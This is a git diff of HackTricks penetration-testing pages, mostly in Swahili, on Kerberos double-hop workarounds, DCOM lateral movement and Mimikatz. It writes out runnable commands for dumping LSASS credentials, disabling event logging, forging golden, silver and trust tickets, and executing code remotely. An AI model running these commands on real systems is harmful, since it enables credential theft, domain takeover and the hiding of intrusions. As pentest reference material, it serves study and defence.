|
|||
```
|
||||
### PortForwarding
|
||||
|
||||
Kwa waendeshaji wa ndani kwenye lengo la kati, kupeleka bandari inaruhusu maombi kutumwa kwa seva ya mwisho. Kwa kutumia `netsh`, sheria inaweza kuongezwa kwa ajili ya kupeleka bandari, pamoja na sheria ya firewall ya Windows kuruhusu bandari iliyopelekwa.
|
||||
Kwa wasimamizi wa ndani kwenye lengo la kati, upitishaji wa bandari unaruhusu maombi kutumwa kwa seva ya mwisho. Kwa kutumia `netsh`, sheria inaweza kuongezwa kwa upitishaji wa bandari, pamoja na sheria ya moto ya Windows kuruhusu bandari iliyopitishwa.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe` inaweza kutumika kwa kusafirisha maombi ya WinRM, labda kama chaguo linaloweza kugundulika kidogo ikiwa ufuatiliaji wa PowerShell unahusika. Amri hapa chini inaonyesha matumizi yake:
|
||||
`winrs.exe` inaweza kutumika kwa ajili ya kupeleka maombi ya WinRM, labda kama chaguo ambalo halionekani sana ikiwa ufuatiliaji wa PowerShell ni wasiwasi. Amri iliyo hapa chini inaonyesha matumizi yake:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
Kuweka OpenSSH kwenye server ya kwanza inawezesha suluhisho la shida ya double-hop, hasa inayofaa kwa mazingira ya jump box. Mbinu hii inahitaji ufungaji wa CLI na usanidi wa OpenSSH kwa Windows. Wakati ilipowekwa kwa Uthibitishaji wa Nywila, hii inaruhusu server ya kati kupata TGT kwa niaba ya mtumiaji.
|
||||
Kuweka OpenSSH kwenye seva ya kwanza kunaruhusu suluhisho kwa tatizo la double-hop, hasa muhimu kwa hali za jump box. Njia hii inahitaji usakinishaji wa CLI na usanidi wa OpenSSH kwa Windows. Wakati imewekwa kwa Uthibitishaji wa Nywila, hii inaruhusu seva ya kati kupata TGT kwa niaba ya mtumiaji.
|
||||
|
||||
#### Hatua za Ufungaji wa OpenSSH
|
||||
#### Hatua za Usakinishaji wa OpenSSH
|
||||
|
||||
1. Pakua na hamisha zip ya toleo jipya la OpenSSH kwenye server ya lengo.
|
||||
1. Pakua na hamasisha toleo la hivi karibuni la OpenSSH zip kwenye seva lengwa.
|
||||
2. Fungua na endesha script ya `Install-sshd.ps1`.
|
||||
3. Ongeza sheria ya firewall kufungua bandari 22 na thibitisha huduma za SSH zinaendeshwa.
|
||||
3. Ongeza sheria ya firewall kufungua bandari 22 na thibitisha huduma za SSH zinaendesha.
|
||||
|
||||
Ili kutatua makosa ya `Connection reset`, ruhusa inaweza kuhitaji kusasishwa kuruhusu kila mtu kusoma na kutekeleza upatikanaji kwenye saraka ya OpenSSH.
|
||||
Ili kutatua makosa ya `Connection reset`, ruhusa zinaweza kuhitaji kusasishwa ili kuruhusu kila mtu kuwa na ufikiaji wa kusoma na kutekeleza kwenye saraka ya OpenSSH.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
||||
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
|
||||
|
|
@ -104,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
|
@ -22,9 +25,9 @@
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
**For more info about this technique chech the original post from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Distributed Component Object Model (DCOM) objects present an interesting capability for network-based interactions with objects. Microsoft provides comprehensive documentation for both DCOM and Component Object Model (COM), accessible [here for DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and [here for COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
|
||||
Distributed Component Object Model (DCOM) objects zina uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft inatoa nyaraka kamili kwa DCOM na Component Object Model (COM), zinazopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya maombi ya DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
|
@ -54,9 +57,9 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Kitu cha **MMC20.Application** kiligundulika kuwa hakina "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi inashauriwa.
|
||||
Kitu cha **MMC20.Application** kiligundulika kuwa hakina "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, thread inaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi inashauriwa.
|
||||
|
||||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha `LaunchPermission` katika rejista `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
|
||||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha `LaunchPermission` katika `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
|
||||
|
||||
### ShellWindows
|
||||
Kwa `ShellWindows`, ambayo haina ProgID, mbinu za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` zinasaidia kuunda kitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID ya `ShellWindows`. Mara tu inapoundwa, mwingiliano unaweza kufanyika kupitia mbinu ya `WindowsShell.Item`, ikisababisha mwito wa mbinu kama `Document.Application.ShellExecute`.
|
||||
|
|
@ -70,7 +73,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Lateral Movement with Excel DCOM Objects
|
||||
|
||||
Lateral movement inaweza kupatikana kwa kutumia DCOM Excel objects. Kwa maelezo ya kina, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa ajili ya lateral movement kupitia DCOM katika [blogu ya Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
Lateral movement inaweza kupatikana kwa kutumia DCOM Excel objects. Kwa maelezo ya kina, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa ajili ya lateral movement kupitia DCOM kwenye [blogu ya Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Mradi wa Empire unatoa script ya PowerShell, ambayo inaonyesha matumizi ya Excel kwa ajili ya remote code execution (RCE) kwa kubadilisha DCOM objects. Hapa chini kuna vipande kutoka kwa script inayopatikana kwenye [hifadhi ya GitHub ya Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), ikionyesha mbinu tofauti za kutumia Excel kwa RCE:
|
||||
```powershell
|
||||
|
|
@ -97,15 +100,15 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
```
|
||||
### Vifaa vya Utaftaji wa Kando
|
||||
|
||||
Vifaa viwili vinasisitizwa kwa ajili ya kuharakisha mbinu hizi:
|
||||
Vifaa viwili vinasisitizwa kwa ajili ya kuendesha mbinu hizi:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Skripti ya PowerShell inayotolewa na mradi wa Empire ambayo inarahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya Empire GitHub.
|
||||
- **Invoke-DCOM.ps1**: Skripti ya PowerShell inayotolewa na mradi wa Empire ambayo inarahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana kwenye hifadhi ya Empire GitHub.
|
||||
|
||||
- **SharpLateral**: Kifaa kilichoundwa kwa ajili ya kutekeleza msimbo kwa mbali, ambacho kinaweza kutumika na amri:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## Automatic Tools
|
||||
## Vifaa vya Kiotomatiki
|
||||
|
||||
* Skripti ya Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) inaruhusu kwa urahisi kuita njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
|
||||
* Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
|
|
|
|||
|
|
@ -1,119 +1,123 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Ukurasa huu umetokana na [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Angalia asili kwa maelezo zaidi!
|
||||
**This page is based on one from [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Check the original for further info!
|
||||
|
||||
## LM na Nakala-Wazi kwenye kumbukumbu
|
||||
## LM na Maneno ya Kawaida katika kumbukumbu
|
||||
|
||||
Kuanzia Windows 8.1 na Windows Server 2012 R2 na kuendelea, hatua muhimu zimechukuliwa kuzuia wizi wa vitambulisho:
|
||||
Kuanzia Windows 8.1 na Windows Server 2012 R2 kuendelea, hatua kubwa zimechukuliwa kulinda dhidi ya wizi wa akidi:
|
||||
|
||||
- **Hash za LM na nywila za nakala-wazi** hazihifadhiwi tena kwenye kumbukumbu ili kuimarisha usalama. Mazingira maalum ya usajili, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, lazima iwe imewekwa na thamani ya DWORD ya `0` ili kulemaza Uthibitishaji wa Digest, kuhakikisha nywila za "nakala-wazi" hazihifadhiwi kwenye LSASS.
|
||||
- **LM hashes na nywila za maandiko** hazihifadhiwi tena katika kumbukumbu ili kuboresha usalama. Mipangilio maalum ya rejista, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ inapaswa kuwekewa thamani ya DWORD ya `0` ili kuzima Uthibitishaji wa Digest, kuhakikisha kwamba nywila "za maandiko" hazihifadhiwi katika LSASS.
|
||||
|
||||
- **LSA Protection** imeanzishwa kulinda mchakato wa Mamlaka ya Usalama wa Ndani (LSA) kutokana na kusomwa kwa kumbukumbu na kuingiza nambari kwa njia isiyoidhinishwa. Hii inafanikiwa kwa kuweka alama kwenye LSASS kama mchakato uliolindwa. Kuamsha LSA Protection kunahusisha:
|
||||
1. Kubadilisha usajili kwenye _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kwa kuweka `RunAsPPL` kuwa `dword:00000001`.
|
||||
2. Kutekeleza Kundi la Sera (GPO) ambalo linahakikisha mabadiliko haya ya usajili yanatekelezwa kwenye vifaa vilivyosimamiwa.
|
||||
- **Ulinzi wa LSA** umeanzishwa ili kulinda mchakato wa Mamlaka ya Usalama wa Mitaa (LSA) kutoka kwa usomaji wa kumbukumbu usioidhinishwa na sindano ya msimbo. Hii inafikiwa kwa kuashiria LSASS kama mchakato uliohifadhiwa. Kuanzisha Ulinzi wa LSA kunahusisha:
|
||||
1. Kubadilisha rejista katika _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kwa kuweka `RunAsPPL` kuwa `dword:00000001`.
|
||||
2. Kutekeleza Kituo cha Sera ya Kundi (GPO) kinacholazimisha mabadiliko haya ya rejista katika vifaa vinavyosimamiwa.
|
||||
|
||||
Licha ya ulinzi huu, zana kama Mimikatz zinaweza kuzunguka LSA Protection kwa kutumia madereva maalum, ingawa hatua kama hizo zinaweza kurekodiwa katika magogo ya tukio.
|
||||
Licha ya ulinzi huu, zana kama Mimikatz zinaweza kupita Ulinzi wa LSA kwa kutumia madereva maalum, ingawa vitendo kama hivyo vinaweza kurekodiwa katika kumbukumbu za matukio.
|
||||
|
||||
### Kupambana na Kuondolewa kwa SeDebugPrivilege
|
||||
|
||||
Kawaida, wasimamizi wana SeDebugPrivilege, ambayo inawawezesha kudurusu programu. Uwezo huu unaweza kuzuiliwa ili kuzuia uchukuzi usiothibitishwa wa kumbukumbu, mbinu ya kawaida inayotumiwa na wadukuzi kuchukua vitambulisho kutoka kwenye kumbukumbu. Walakini, hata na uwezo huu kuondolewa, akaunti ya TrustedInstaller bado inaweza kufanya uchukuzi wa kumbukumbu kwa kutumia usanidi wa huduma ulioboreshwa:
|
||||
Wasimamizi kwa kawaida wana SeDebugPrivilege, ambayo inawawezesha kufuatilia programu. Haki hii inaweza kupunguzwa ili kuzuia matukio yasiyoidhinishwa ya kumbukumbu, mbinu ya kawaida inayotumiwa na washambuliaji kutoa akidi kutoka kwa kumbukumbu. Hata hivyo, hata haki hii ikiondolewa, akaunti ya TrustedInstaller bado inaweza kufanya matukio ya kumbukumbu kwa kutumia usanidi maalum wa huduma:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
Hii inaruhusu kumwaga kumbukumbu ya `lsass.exe` kwenye faili, ambayo kisha inaweza kuchambuliwa kwenye mfumo mwingine ili kutoa siri za kuingia:
|
||||
Hii inaruhusu kutolewa kwa kumbukumbu ya `lsass.exe` kwenye faili, ambayo inaweza kuchambuliwa kwenye mfumo mwingine ili kutoa akidi:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
# sekurlsa::logonpasswords
|
||||
```
|
||||
## Chaguo za Mimikatz
|
||||
## Mimikatz Options
|
||||
|
||||
Udanganyifu wa kumbukumbu za matukio katika Mimikatz unahusisha hatua mbili kuu: kufuta kumbukumbu za matukio na kurekebisha huduma ya Matukio ili kuzuia kurekodi matukio mapya. Hapa chini ni amri za kutekeleza hatua hizi:
|
||||
Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:
|
||||
|
||||
#### Kufuta Kumbukumbu za Matukio
|
||||
#### Clearing Event Logs
|
||||
|
||||
- **Amri**: Hatua hii inalenga kufuta kumbukumbu za matukio, hivyo kuwa ngumu kufuatilia shughuli za uovu.
|
||||
- Mimikatz haipatii amri moja kwa moja katika nyaraka zake za kawaida za kufuta kumbukumbu za matukio moja kwa moja kupitia mstari wake wa amri. Hata hivyo, kawaida udanganyifu wa kumbukumbu za matukio unahusisha kutumia zana za mfumo au hati nje ya Mimikatz kufuta kumbukumbu maalum (kwa mfano, kutumia PowerShell au Windows Event Viewer).
|
||||
- **Command**: Hii hatua inalenga kufuta kumbukumbu za matukio, na kufanya iwe vigumu kufuatilia shughuli mbaya.
|
||||
- Mimikatz haitoi amri moja kwa moja katika hati zake za kawaida za kufuta kumbukumbu za matukio moja kwa moja kupitia mstari wake wa amri. Hata hivyo, usimamizi wa kumbukumbu za matukio kwa kawaida unahusisha kutumia zana za mfumo au skripti nje ya Mimikatz kufuta kumbukumbu maalum (kwa mfano, kutumia PowerShell au Windows Event Viewer).
|
||||
|
||||
#### Kipengele cha Majaribio: Kurekebisha Huduma ya Matukio
|
||||
#### Experimental Feature: Patching the Event Service
|
||||
|
||||
- **Amri**: `event::drop`
|
||||
- Amri hii ya majaribio imeundwa kurekebisha tabia ya Huduma ya Kurekodi Matukio, kwa kuzuia kurekodi matukio mapya.
|
||||
- **Command**: `event::drop`
|
||||
- Amri hii ya majaribio imeundwa kubadilisha tabia ya Huduma ya Kumbukumbu za Matukio, kwa ufanisi kuzuia kurekodi matukio mapya.
|
||||
- Mfano: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- Amri ya `privilege::debug` inahakikisha kuwa Mimikatz inafanya kazi na mamlaka muhimu ya kurekebisha huduma za mfumo.
|
||||
- Kisha amri ya `event::drop` inarekebisha huduma ya Kurekodi Matukio.
|
||||
- Amri ya `privilege::debug` inahakikisha kwamba Mimikatz inafanya kazi kwa ruhusa zinazohitajika kubadilisha huduma za mfumo.
|
||||
- Amri ya `event::drop` kisha inarekebisha huduma ya Kumbukumbu za Matukio.
|
||||
|
||||
### Mashambulizi ya Tiketi ya Kerberos
|
||||
|
||||
### Uundaji wa Tiketi ya Dhahabu
|
||||
### Kerberos Ticket Attacks
|
||||
|
||||
Tiketi ya Dhahabu inaruhusu uigaji wa ufikiaji kwa kiwango cha kikoa. Amri muhimu na vigezo:
|
||||
### Golden Ticket Creation
|
||||
|
||||
- Amri: `kerberos::golden`
|
||||
- Vigezo:
|
||||
Golden Ticket inaruhusu upatanishi wa ufikiaji wa kiwango cha kikoa. Amri muhimu na vigezo:
|
||||
|
||||
- Command: `kerberos::golden`
|
||||
- Parameters:
|
||||
- `/domain`: Jina la kikoa.
|
||||
- `/sid`: Kitambulisho cha Usalama (SID) cha kikoa.
|
||||
- `/user`: Jina la mtumiaji wa kuigiza.
|
||||
- `/sid`: Kitambulisho cha Usalama wa kikoa (SID).
|
||||
- `/user`: Jina la mtumiaji wa kuiga.
|
||||
- `/krbtgt`: Hash ya NTLM ya akaunti ya huduma ya KDC ya kikoa.
|
||||
- `/ptt`: Kuingiza tiketi moja kwa moja kwenye kumbukumbu.
|
||||
- `/ticket`: Hifadhi tiketi kwa matumizi ya baadaye.
|
||||
- `/ptt`: Inachoma tiketi moja kwa moja kwenye kumbukumbu.
|
||||
- `/ticket`: Huhifadhi tiketi kwa matumizi ya baadaye.
|
||||
|
||||
Mfano:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### Uundaji wa Tiketi ya Fedha
|
||||
### Uundaji wa Tiketi ya Silver
|
||||
|
||||
Tiketi za Fedha hutoa ufikiaji kwa huduma maalum. Amri muhimu na vigezo:
|
||||
Tiketi za Silver zinatoa ufikiaji kwa huduma maalum. Amri kuu na vigezo:
|
||||
|
||||
- Amri: Kama Tiketi ya Dhahabu lakini inalenga huduma maalum.
|
||||
- Amri: Inafanana na Tiketi ya Dhahabu lakini inalenga huduma maalum.
|
||||
- Vigezo:
|
||||
- `/service`: Huduma ya kulenga (kwa mfano, cifs, http).
|
||||
- Vigezo vingine kama Tiketi ya Dhahabu.
|
||||
- `/service`: Huduma ya kulenga (mfano, cifs, http).
|
||||
- Vigezo vingine vinafana na Tiketi ya Dhahabu.
|
||||
|
||||
Mfano:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||
```
|
||||
### Uundaji wa Tiketi ya Imani
|
||||
### Uundaji wa Tiketi ya Kuamini
|
||||
|
||||
Tiketi za Imani hutumiwa kupata rasilimali kati ya uhusiano wa imani. Amri muhimu na vigezo:
|
||||
Tiketi za Kuamini zinatumika kwa kupata rasilimali kati ya maeneo kwa kutumia uhusiano wa kuamini. Amri kuu na vigezo:
|
||||
|
||||
- Amri: Kama Tiketi ya Dhahabu lakini kwa uhusiano wa imani.
|
||||
- Amri: Inafanana na Tiketi ya Dhahabu lakini kwa uhusiano wa kuamini.
|
||||
- Vigezo:
|
||||
- `/target`: Jina kamili la kikoa cha lengo.
|
||||
- `/rc4`: Hash ya NTLM kwa akaunti ya imani.
|
||||
- `/target`: FQDN ya eneo lengwa.
|
||||
- `/rc4`: Hash ya NTLM kwa akaunti ya kuamini.
|
||||
|
||||
Mfano:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
||||
```
|
||||
### Amri za Ziada za Kerberos
|
||||
### Amri za Nyongeza za Kerberos
|
||||
|
||||
- **Kuorodhesha Tiketi**:
|
||||
- **Orodha ya Tiketi**:
|
||||
- Amri: `kerberos::list`
|
||||
- Inaorodhesha tiketi zote za Kerberos kwa kikao cha mtumiaji wa sasa.
|
||||
- Inoorodhesha tiketi zote za Kerberos kwa kikao cha mtumiaji wa sasa.
|
||||
|
